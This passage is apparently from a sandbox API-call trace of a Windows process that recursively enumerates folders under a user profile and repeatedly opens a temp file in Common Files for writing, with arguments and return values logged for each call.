Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0134.916] AreFileApisANSI () returned 1 [0134.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0134.916] GetFileType (hFile=0x188) returned 0x1 [0134.916] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0134.917] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0134.917] GetLastError () returned 0x12 [0134.917] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0134.917] GetLastError () returned 0x12 [0134.917] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.917] GetLastError () returned 0x12 [0134.917] AreFileApisANSI () returned 1 [0134.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.917] GetFileType (hFile=0x180) returned 0x1 [0134.917] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.918] AreFileApisANSI () returned 1 [0134.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0134.918] GetFileType (hFile=0x184) returned 0x1 [0134.918] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0134.918] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0134.918] GetLastError () returned 0x12 [0134.918] AreFileApisANSI () returned 1 [0134.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0134.918] GetFileType (hFile=0x184) returned 0x1 [0134.918] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0134.919] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0134.919] GetLastError () returned 0x12 [0134.919] AreFileApisANSI () returned 1 [0134.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0134.919] GetFileType (hFile=0x184) returned 0x1 [0134.919] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0134.919] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0134.919] GetLastError () returned 0x12 [0134.919] AreFileApisANSI () returned 1 [0134.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0134.920] GetFileType (hFile=0x184) returned 0x1 [0134.920] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0134.920] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0134.920] GetLastError () returned 0x12 [0134.920] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.920] GetLastError () returned 0x12 [0134.920] AreFileApisANSI () returned 1 [0134.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.920] GetFileType (hFile=0x180) returned 0x1 [0134.920] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.921] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.921] GetLastError () returned 0x12 [0134.921] AreFileApisANSI () returned 1 [0134.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.921] GetFileType (hFile=0x180) returned 0x1 [0134.921] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.921] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.921] GetLastError () returned 0x12 [0134.921] AreFileApisANSI () returned 1 [0134.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.921] GetFileType (hFile=0x180) returned 0x1 [0134.922] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.922] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.922] GetLastError () returned 0x12 [0134.922] AreFileApisANSI () returned 1 [0134.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.922] GetFileType (hFile=0x180) returned 0x1 [0134.922] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.922] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.922] GetLastError () returned 0x12 [0134.922] AreFileApisANSI () returned 1 [0134.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.923] GetFileType (hFile=0x180) returned 0x1 [0134.923] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.923] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.923] GetLastError () returned 0x12 [0134.923] AreFileApisANSI () returned 1 [0134.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.923] GetFileType (hFile=0x180) returned 0x1 [0134.923] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.924] AreFileApisANSI () returned 1 [0134.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0134.924] GetFileType (hFile=0x184) returned 0x1 [0134.924] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0134.924] AreFileApisANSI () returned 1 [0134.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0134.924] GetFileType (hFile=0x188) returned 0x1 [0134.924] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0134.925] AreFileApisANSI () returned 1 [0134.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0134.925] GetFileType (hFile=0x18c) returned 0x1 [0134.925] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0134.926] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0134.927] GetLastError () returned 0x12 [0134.927] AreFileApisANSI () returned 1 [0134.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0134.927] GetFileType (hFile=0x18c) returned 0x1 [0134.927] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0134.928] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0134.928] GetLastError () returned 0x12 [0134.928] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0134.928] GetLastError () returned 0x12 [0134.929] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0134.929] GetLastError () returned 0x12 [0134.929] AreFileApisANSI () returned 1 [0134.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0134.929] GetFileType (hFile=0x184) returned 0x1 [0134.929] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0134.929] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0134.929] GetLastError () returned 0x12 [0134.929] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.930] GetLastError () returned 0x12 [0134.930] AreFileApisANSI () returned 1 [0134.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.930] GetFileType (hFile=0x180) returned 0x1 [0134.930] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.930] AreFileApisANSI () returned 1 [0134.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, 